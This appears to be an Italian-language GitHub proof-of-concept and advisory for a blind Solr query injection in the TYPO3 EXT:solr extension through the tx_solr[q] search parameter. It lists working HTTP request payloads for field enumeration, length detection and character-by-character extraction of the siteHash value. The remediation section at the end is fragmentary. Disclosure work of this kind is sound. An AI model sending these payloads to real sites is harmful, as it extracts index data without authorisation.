yairhinkis/cve-2026-56096Proof of concept e analisi tecnica per CVE-2026-56096, un'iniezione di query Solr cieca in TYPO3 EXT:solr che consente l'enumerazione dei campi e l'estrazione dei dati senza autenticazione.
È stata scoperta una vulnerabilità di sicurezza architetturale nell'estensione ufficiale TYPO3 Apache Solr (EXT:solr / apache-solr-for-typo3/solr). Il problema consente ad attaccanti remoti non autenticati di iniettare sintassi di query Solr/Lucene arbitraria tramite il parametro di ricerca tx_solr[q], abilitando l'enumerazione cieca non autorizzata dei campi e l'estrazione completa dei metadati dall'indice di ricerca.
EXT:solr (Parametro di ricerca: tx_solr[q])CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NL'estensione EXT:solr accetta termini di ricerca forniti dall'utente tramite il parametro tx_solr[q] e li inoltra al motore Apache Solr. Per progettazione, l'estensione consente operatori di query specifici—come wildcard (*), wildcard per singolo carattere (?), selettori di campo (:) e query di intervallo ([a TO z])—per supportare funzionalità legittime come il filtraggio a faccette.
Poiché questi caratteri venivano passati direttamente alla costruzione della query backend senza una whitelist vincolante o un livello di astrazione delle query, un attaccante può fornire sintassi specifica per campo per eludere i confini di ricerca previsti. Ciò consente a utenti non autenticati di interrogare direttamente i campi interni di Solr ed estrarre dati dall'indice utilizzando tecniche cieche basate su booleani.
field:*Aggiungendo una wildcard a un nome di campo arbitrario o ipotizzato, un attaccante può verificare se il campo esiste all'interno dello schema:
GET /search?tx_solr[q]=siteHash:* HTTP/1.1
Host: target.example.com
Se il campo esiste, Solr elabora la query su tutti i record corrispondenti (spesso attivando codici di risposta distinti o comportamenti legati al volume), consentendo l'enumerazione automatizzata dei campi basata su wordlist.
Gli attaccanti possono estrarre valori sensibili dei campi carattere per carattere utilizzando l'inferenza booleana:
GET /search?tx_solr[q]=siteHash:a* HTTP/1.1 --> Restituisce risultati di ricerca (Il valore inizia con 'a')
GET /search?tx_solr[q]=siteHash:b* HTTP/1.1 --> "Nessun risultato trovato" (Il valore non inizia con 'b')
?L'operatore wildcard per singolo carattere (?) può determinare la lunghezza esatta di una stringa memorizzata prima di iniziare l'iterazione dei caratteri:
GET /search?tx_solr[q]=siteHash:????????????* HTTP/1.1 (Verifica la presenza di 12+ caratteri)
GET /search?tx_solr[q]=siteHash:?????????????* HTTP/1.1 (Verifica la presenza di 13+ caratteri)
[a TO z])Le query di intervallo consentono l'estrazione tramite ricerca binaria sul carattere iniziale, riducendo le richieste necessarie da 26 a ~5 per posizione del carattere:
GET /search?tx_solr[q]=siteHash:[a TO m] HTTP/1.1 --> Determina se il carattere rientra nell'intervallo 'a'-'m'
GET /search?tx_solr[q]=siteHash:[n TO z] HTTP/1.1 --> Determina se il carattere rientra nell'intervallo 'n'-'z'
Combinando il rilevamento della lunghezza, le query di intervallo e le wildcard di prefisso è possibile ottenere l'estrazione completa dei campi con un numero minimo di richieste.
EXT:solr.L'escaping globale dei caratteri è insufficiente perché operatori come * e : svolgono funzionalità di ricerca previste. La remediation richiede una whitelist a livello di applicazione e un modello di parsing:
[email protected]).